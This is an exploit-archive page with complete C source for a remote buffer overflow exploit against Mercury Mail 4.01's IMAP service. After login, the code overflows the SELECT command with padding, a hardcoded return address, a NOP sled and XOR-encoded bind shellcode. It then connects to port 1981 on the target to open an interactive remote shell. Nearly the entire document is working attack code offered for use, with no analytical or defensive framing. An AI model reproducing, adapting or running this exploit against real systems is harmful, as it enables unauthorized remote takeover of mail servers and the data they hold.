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Mercury Mail 4.01 (Pegasus) IMAP Buffer Overflow Exploit (c code)
================================================================= Mercury Mail 4.01 (Pegasus) IMAP Buffer Overflow Exploit (c code) ================================================================= /* whitehat.co.il comments removed do to muts love */ /** Remote Mercury32 Imap exploit ** By: JohnH@secnetops.com **/ #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <netdb.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <assert.h> #include <fcntl.h> #include <sys/time.h> #define version "1.0" int usage(char *p); char sc_bind[] = //decoder "\xEB\x0F\x5B\x80\x33\x96\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74" "\x05\xE8\xEC\xFF\xFF\xFF" //sc_bind_1981 for 2k/xp/2003 v1.03.10.09 by ey4s //XOR with 0x96 (267 0x10B bytes) "\x7E\xB2\x96\x96\x96\x22\xEB\x83\x0E\x5D\xD4\xE1\x2E\x4A\x4B\x8C" "\xA5\x7F\x2D\x55\x38\x50\xBD\x2B\xB8\x48\xC1\xE4\x32\xB2\x24\xA4" "\x96\x98\xCB\x5D\x48\xE2\xB4\xF5\x5E\xC9\xFC\xA6\xCD\xF2\x1D\x95" "\x1D\xD6\x9A\x1D\xE6\x8A\x3B\x1D\xFE\x9E\xFC\x92\xCF\x7E\x12\x96" "\x96\x96\x74\x6F\x23\x95\xBD\x77\xFE\xA5\xA4\x96\x96\xFE\xE1\xE5" "\xA4\xC9\xC2\x69\xC1\x6E\x03\xFC\x93\xCF\x7E\xF1\x96\x96\x96\x74" "\x6F\x1D\x61\xC7\xFE\x94\x96\x91\x2B\x1D\x7A\xC7\xC7\xC7\xC7\xFC" "\x97\xFC\x94\x69\xC0\x66\x05\xFC\x86\xC3\xC5\x69\xC0\x62\xC6\xC5" "\x69\xC0\x6E\x1D\x6A\xFC\x98\xCF\x3D\x74\x6B\xC6\xC6\xC5\x69\xC0" "\x6A\x3D\x3D\x3D\xF0\x51\xD2\xB2\xBA\x97\x97\x1D\x42\xFE\xF5\xFB" "\xF2\x96\x1D\x5A\xC5\xC6\xC1\xC4\xA5\x4D\xC5\xC5\xC5\xFC\x97\xC5" "\xC5\xC7\xC5\x69\xC0\x76\xFC\x69\x69\xA1\x69\xC0\x4A\x69\xC0\x7A" "\x69\xC0\x7A\x69\xC0\x7E\xC7\x1D\xE3\xAA\x1D\xE2\xB8\xEE\x95\x63" "\xC0\x1D\xE0\xB6\x95\x63\xA5\x5F\xDF\xD7\x3B\x95\x53\xA5\x4D\xA5" "\x44\x99\x28\x86\xAC\x40\xE2\x9E\x57\x5D\x8D\x95\x4C\xD6\x7D\x79" "\xAD\x89\xE3\x73\xC8\x1D\xC8\xB2\x95\x4B\xF0\x1D\x9A\xDD\x1D\xC8" "\x8A\x95\x4B\x1D\x92\x1D\x95\x53\x3D\xCF\x55" //decoder end sign "\x45\x59\x34\x53"; int iType; int iPort=143; char *ip=NULL; char username[256]; char password[256]; int main(int argc, char **argv) { int c; if(argc < 2) { usage(argv[0]); return 0; } while((c = getopt(argc, argv, "u:P:h:p:")) != EOF) { switch(c) { case 'u': strncpy(username, optarg, sizeof (username) - 1); break; case 'P': strncpy(password, optarg, sizeof (password) - 1); break; case 'h': ip=optarg; break; case 'p': iPort=atoi(optarg); break; default: usage (argv[0]); return 0; } } if((!ip)) { usage(argv[0]); printf("[-] Invalid parameter.\n"); return 0; } SendExploit(); return 0; } /* ripped from TESO code */ void shell (int sock) { int l; char buf[512]; fd_set rfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { printf("\n - Connection closed by local user\n"); exit (EXIT_FAILURE); } write (sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = read (sock, buf, sizeof (buf)); if (l == 0) { printf ("\n - Connection closed by remote host.\n"); exit (EXIT_FAILURE); } else if (l < 0) { printf ("\n - Read failure\n"); exit (EXIT_FAILURE); } write (1, buf, l); } } } int SendExploit() { struct hostent *he; struct in_addr in; struct sockaddr_in peer; int iErr, s,s2; int x; char buffer[9000]; char buffer2[9000]; char szRecvBuff[0x1000]; char *ip2=NULL; printf( "MERCURY32 Imap exploit\n"); printf( "By: JohnH@secnetops.com\n"); printf("[+] Entering God Mode\n"); // Login memset(buffer2,0x0,sizeof(buffer2)); strcat(buffer2,"a001 LOGIN "); strcat(buffer2,username); strcat(buffer2," "); strcat(buffer2,password); strcat(buffer2,"\n"); bzero (buffer,sizeof(buffer)); strcat(buffer,"a001 SELECT "); x = strlen(buffer); memset(buffer+x,0x41,260); x+=260; *(unsigned int *)&buffer[x] = 0x01f9c8fa; x+=4; memset(buffer+x,0x90,100); x+=100; memcpy (buffer+x, sc_bind, strlen(sc_bind)); x+=strlen(sc_bind); memcpy(buffer+x,"\r\n",2); x+=2; if (!(he = gethostbyname(ip))) { herror("Resolving host"); exit(EXIT_FAILURE); } in.s_addr = *((unsigned int *)he->h_addr); peer.sin_family = AF_INET; peer.sin_port = htons(iPort); peer.sin_addr.s_addr = inet_addr(ip); s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { perror("socket"); return(0); } if (connect(s, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) { perror("connect"); return(0); } printf("[+] connect to %s:%d success.\n", ip, iPort); sleep(3); memset(szRecvBuff, 0, sizeof(szRecvBuff)); iErr = send(s, buffer2, strlen(buffer2),0); printf("[+] Sent: %d\n", iErr); iErr = send(s, buffer, x,0); printf("[+] Sent: %d\n", iErr); printf("[+] Wait for shell.\n"); if (!(he = gethostbyname(ip))) { herror("Resolving host"); exit(EXIT_FAILURE); } in.s_addr = *((unsigned int *)he->h_addr); ip2 = in.s_addr; sleep(5); peer.sin_family = AF_INET; peer.sin_port = htons(1981); peer.sin_addr.s_addr = ip2; s2 = socket(AF_INET, SOCK_STREAM, 0); if (s2 < 0) { perror("socket"); exit(EXIT_FAILURE); } if (connect(s2, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) { perror("connect"); return(0); } printf ("[+] We got a shell \n"); shell(s2); return 0; } int usage(char *p) { printf("MERCURY32 Imap Remote Exploit\n"); printf("By: JohnH@secnetops.com\n"); printf( "Usage: %s <-u username> <-p password> <-h host> <-p port>\n",p); exit(0); } # 0day.today [2024-12-24] #